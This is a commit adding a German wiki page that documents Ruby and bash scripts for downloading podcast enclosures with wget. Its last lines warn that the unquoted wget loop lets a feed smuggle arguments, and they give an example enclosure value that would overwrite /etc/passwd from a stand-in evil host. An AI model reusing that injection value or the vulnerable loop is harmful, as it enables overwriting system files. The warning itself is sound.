Oh...
This commit is contained in:
parent
89751044b0
commit
5854e4414d
33
Podcast-fetching.mw
Normal file
33
Podcast-fetching.mw
Normal file
|
@ -0,0 +1,33 @@
|
||||||
|
Damit im [[Office2]] keine Bandbreite verschenkt wird, während niemand da ist, soll [[Aromaster]] ein paar Podcasts runterladen. Das wird natürlich manuell ausgeführt.
|
||||||
|
|
||||||
|
==podcast-enclosures.rb==
|
||||||
|
<pre><nowiki>#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
require 'rexml/document'
|
||||||
|
|
||||||
|
if ARGV.size != 1
|
||||||
|
puts "Usage: #{$0} <podcast.rss>"
|
||||||
|
exit
|
||||||
|
end
|
||||||
|
|
||||||
|
file = File.new(ARGV[0])
|
||||||
|
REXML::Document.new(file).root.each_element("//enclosure") { |e|
|
||||||
|
puts e.attributes['url']
|
||||||
|
}</nowiki></pre>
|
||||||
|
|
||||||
|
==fetch_radiochaotica.sh==
|
||||||
|
<pre><nowiki>#!/usr/bin/env bash
|
||||||
|
|
||||||
|
WGETFLAGS='-c'
|
||||||
|
|
||||||
|
cd /home/astro/public_html/radiochaotica/
|
||||||
|
|
||||||
|
wget -O radiochaotica.rss http://blogs.bl0rg.net/radio_chaotica/index.xml
|
||||||
|
for url in $(ruby ~/podcast-enclosures.rb radiochaotica.rss); do
|
||||||
|
wget $WGETFLAGS $url
|
||||||
|
done
|
||||||
|
|
||||||
|
rm radiochaotica.rss</nowiki></pre>
|
||||||
|
|
||||||
|
Vor Aktion sollte man den Feed vielleicht noch manuell betrachten, sonst kann man dem wget-Aufruf Parameter untermogeln. Z.B.:
|
||||||
|
<nowiki><enclosure url="-O /etc/passwd http://evilhost.com/megaevil-password-file" /></nowiki>
|
Loading…
Reference in New Issue
Block a user